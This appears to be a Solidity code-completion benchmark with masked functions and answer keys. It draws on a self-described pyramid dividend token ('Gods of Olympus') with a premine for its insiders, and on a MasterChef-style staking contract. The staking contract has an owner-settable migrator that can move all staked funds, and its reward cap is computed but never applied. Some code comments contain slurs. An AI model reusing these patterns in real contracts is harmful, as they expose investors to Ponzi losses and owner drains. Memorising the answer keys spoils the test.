SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); // Keep track depositCount_++; return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract GodsOfOlympus { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /// @dev easyOnTheGas modifier easyOnTheGas() { require(tx.gasprice < 200999999999); _; } /// @dev Preventing unstable dumping and limit ambassador mine modifier antiEarlyWhale { if (address(this).balance -msg.value < whaleBalanceLimit){ require(msg.value <= maxEarlyStake); } if (depositCount_ == 0){ require(ambassadors_[msg.sender] && msg.value == 0.5 ether); }else if (depositCount_ < 2){ require(ambassadors_[msg.sender] && msg.value == 0.4 ether); } _; } /// @dev easyOnTheGas modifier isControlled() { require(isPremine() || isStarted()); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Gods of Olympus"; string public symbol = "GOO"; uint8 constant public decimals = 18; /// @dev 15% dividends for token selling uint8 constant internal exitFee_ = 15; /// @dev 33% masternode uint8 constant internal refferalFee_ = 33; /// @dev P3D pricing uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev 100 needed for masternode activation uint256 public stakingRequirement = 100e18; /// @dev anti-early-whale uint256 public maxEarlyStake = 2.5 ether; uint256 public whaleBalanceLimit = 100 ether; /// @dev light the fuse address public fuse; /// @dev starting uint256 public startTime = 0; /// @dev one shot bool public startCalled = false; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; uint256 public depositCount_; mapping(address => bool) internal ambassadors_; /*======================================= = CONSTRUCTOR = =======================================*/ constructor () public { fuse = msg.sender; // Masternode sales & promotional fund ambassadors_[fuse]=true; ambassadors_[0xaED453F0F301688402FEC662ebBF6bbB1cE6D90E]=true; ambassadors_[0xAb219a0e8FDa547bCCDa840b4D9c9E761178C27c]=true; } /*======================================= = PUBLIC FUNCTIONS = =======================================*/ // @dev Function setting the start time of the system function setStartTime(uint256 _startTime) public { require(msg.sender==fuse && !isStarted() && now < _startTime && !startCalled); require(_startTime > now); startTime = _startTime; startCalled = true; } /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , msg.sender); } /// @dev Converts to tokens on behalf of the customer - this allows gifting and integration with other systems function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , _customerAddress); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() antiEarlyWhale easyOnTheGas isControlled payable public { purchaseTokens(msg.value, 0x0 , msg.sender); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // capitulation withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } return transferInternal(_toAddress,_amountOfTokens,_customerAddress); } function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) { // setup address _customerAddress = _fromAddress; // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee()), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /// @dev Function for the frontend to get untaxed receivable ethereum. function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); //uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); //uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _ethereum; } function entryFee() public view returns (uint8){ uint256 volume = address(this).balance - msg.value; if (volume<=10 ether){ return 40; } if (volume<=20 ether){ return 35; } if (volume<=50 ether){ return 30; } if (volume<=100 ether){ return 25; } if (volume<=250 ether){ return 20; } return 15; } // @dev Function for find if premine function isPremine() public view returns (bool) { return depositCount_<=5; } // @dev Function for find if premine function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee()), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); // Keep track depositCount_++; return _amountOfTokens; } <FILL_FUNCTION> /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived;
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256)
/** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256)
25349
SleepBedroom
getMultiplier
contract SleepBedroom is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 startStakeTime; // Average start stake time of the staked tokens in pool } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SLEEPs to distribute per block. uint256 lastRewardBlock; // Last block number that SLEEPs distribution occurs. uint256 accSleepPerShare; // Accumulated SLEEPs per share, times 1e12. See below. } // The SLEEP TOKEN! SleepToken public sleep; // Dev address. address public devaddr; // Block number when bonus SLEEP period ends. uint256 public bonusEndBlock; // SLEEP tokens created per block. uint256 public sleepPerBlock; // Bonus muliplier for early sleep makers. uint256 public constant BONUS_MULTIPLIER = 1; // 3 times of bonus // Extra reward increases for maximum 100000 blocks(around 17 days). uint256 public constant MAX_EXTRA_REWARD_BLOCK_INTERVAL = 100000; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SLEEP mining starts. uint256 public startBlock; // Extra sleep token reward per block for stake time based calculation uint256 public extraSleepPerBlock; // Maximum time based extra reward per MAX_EXTRA_REWARD_BLOCK_INTERVAL block for each user; uint256 public maxExtraReward; // The migrator contract. Can only be set through governance (owner). IMigratorChef public migrator; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( SleepToken _sleep, address _devaddr, uint256 _sleepPerBlock, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _extraSleepPerBlock, uint256 _maxExtraReward ) public { sleep = _sleep; devaddr = _devaddr; sleepPerBlock = _sleepPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; extraSleepPerBlock = _extraSleepPerBlock; maxExtraReward = _maxExtraReward; } function poolLength() external view returns (uint256) { return poolInfo.length; } function setMaxExtraReward(uint256 _maxExtraReward) external onlyOwner() { maxExtraReward = _maxExtraReward; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSleepPerShare: 0 })); } // Update the given pool's SLEEP allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {<FILL_FUNCTION_BODY> } // View function to see pending SLEEPs on frontend. function pendingSleep(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSleepPerShare = pool.accSleepPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = (getMultiplier(pool.lastRewardBlock, block.number)); uint256 sleepReward = multiplier.mul(sleepPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(getHalvingFactor()); accSleepPerShare = accSleepPerShare.add(sleepReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSleepPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sleepReward = multiplier.mul(sleepPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(getHalvingFactor()); sleep.mint(devaddr, sleepReward.div(10)); sleep.mint(address(this), sleepReward); pool.accSleepPerShare = pool.accSleepPerShare.add(sleepReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterBedroom for SLEEP allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accSleepPerShare).div(1e12).sub(user.rewardDebt); safeSleepTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.startStakeTime = ((user.startStakeTime.mul(user.amount)).add(_amount.mul(block.number))).div(user.amount.add(_amount)); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSleepPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterBedroom. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSleepPerShare).div(1e12).sub(user.rewardDebt); safeSleepTransfer(msg.sender, pending); uint256 extraReward = getExtraReward(_pid, user.startStakeTime, block.number, _amount).div(getHalvingFactor()); sleep.mint(msg.sender, extraReward); // stake time based reward sleep.mint(devaddr, extraReward.div(10)); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSleepPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function getHalvingFactor() public view returns (uint256) { if (block.number < startBlock) { return 1; } return 2 ** ((block.number - startBlock) / 100000); // halve per 100000 blocks } function getExtraRewardForUser(uint256 _pid, address _userAddress) public view returns(uint256) { UserInfo storage user = userInfo[_pid][_userAddress]; return getExtraReward(_pid, user.startStakeTime, block.number, user.amount); } // get stake time based extra reward function getExtraReward(uint256 _pid, uint256 startStakeBlock, uint256 endBlock, uint256 numLPTokens) public view returns(uint256){ if(startStakeBlock > endBlock) { return 0; } PoolInfo storage pool = poolInfo[_pid]; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { return 0; } uint256 extraRewardBlockInterval = endBlock.sub(startStakeBlock) > MAX_EXTRA_REWARD_BLOCK_INTERVAL ? MAX_EXTRA_REWARD_BLOCK_INTERVAL : endBlock.sub(startStakeBlock); uint256 extraReward = extraRewardBlockInterval.mul(extraRewardBlockInterval).mul(extraSleepPerBlock).div(poolInfo.length).mul(numLPTokens).div(lpSupply).div(10000).div(getHalvingFactor()); uint256 maxExtraReward = maxExtraReward.div(getHalvingFactor()).mul(extraRewardBlockInterval).mul(extraRewardBlockInterval).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL); return extraReward; } // get stake time based extra reward function getMaxExtraReward(uint256 _pid, uint256 startStakeBlock, uint256 endBlock) public view returns(uint256){ if(startStakeBlock > endBlock) { return 0; } uint256 extraRewardBlockInterval = endBlock.sub(startStakeBlock) > MAX_EXTRA_REWARD_BLOCK_INTERVAL ? MAX_EXTRA_REWARD_BLOCK_INTERVAL : endBlock.sub(startStakeBlock); uint256 maxExtraReward = maxExtraReward.div(getHalvingFactor()).mul(extraRewardBlockInterval).mul(extraRewardBlockInterval).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL); return maxExtraReward; } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe Sleep transfer function, just in case if rounding error causes pool to not have enough SLEEPs. function safeSleepTransfer(address _to, uint256 _amount) internal { uint256 sleepBal = sleep.balanceOf(address(this)); if (_amount > sleepBal) { sleep.transfer(_to, sleepBal); } else { sleep.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public onlyOwner { devaddr = _devaddr; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } }
contract SleepBedroom is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 startStakeTime; // Average start stake time of the staked tokens in pool } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SLEEPs to distribute per block. uint256 lastRewardBlock; // Last block number that SLEEPs distribution occurs. uint256 accSleepPerShare; // Accumulated SLEEPs per share, times 1e12. See below. } // The SLEEP TOKEN! SleepToken public sleep; // Dev address. address public devaddr; // Block number when bonus SLEEP period ends. uint256 public bonusEndBlock; // SLEEP tokens created per block. uint256 public sleepPerBlock; // Bonus muliplier for early sleep makers. uint256 public constant BONUS_MULTIPLIER = 1; // 3 times of bonus // Extra reward increases for maximum 100000 blocks(around 17 days). uint256 public constant MAX_EXTRA_REWARD_BLOCK_INTERVAL = 100000; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SLEEP mining starts. uint256 public startBlock; // Extra sleep token reward per block for stake time based calculation uint256 public extraSleepPerBlock; // Maximum time based extra reward per MAX_EXTRA_REWARD_BLOCK_INTERVAL block for each user; uint256 public maxExtraReward; // The migrator contract. Can only be set through governance (owner). IMigratorChef public migrator; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( SleepToken _sleep, address _devaddr, uint256 _sleepPerBlock, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _extraSleepPerBlock, uint256 _maxExtraReward ) public { sleep = _sleep; devaddr = _devaddr; sleepPerBlock = _sleepPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; extraSleepPerBlock = _extraSleepPerBlock; maxExtraReward = _maxExtraReward; } function poolLength() external view returns (uint256) { return poolInfo.length; } function setMaxExtraReward(uint256 _maxExtraReward) external onlyOwner() { maxExtraReward = _maxExtraReward; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSleepPerShare: 0 })); } // Update the given pool's SLEEP allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } <FILL_FUNCTION> // View function to see pending SLEEPs on frontend. function pendingSleep(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSleepPerShare = pool.accSleepPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = (getMultiplier(pool.lastRewardBlock, block.number)); uint256 sleepReward = 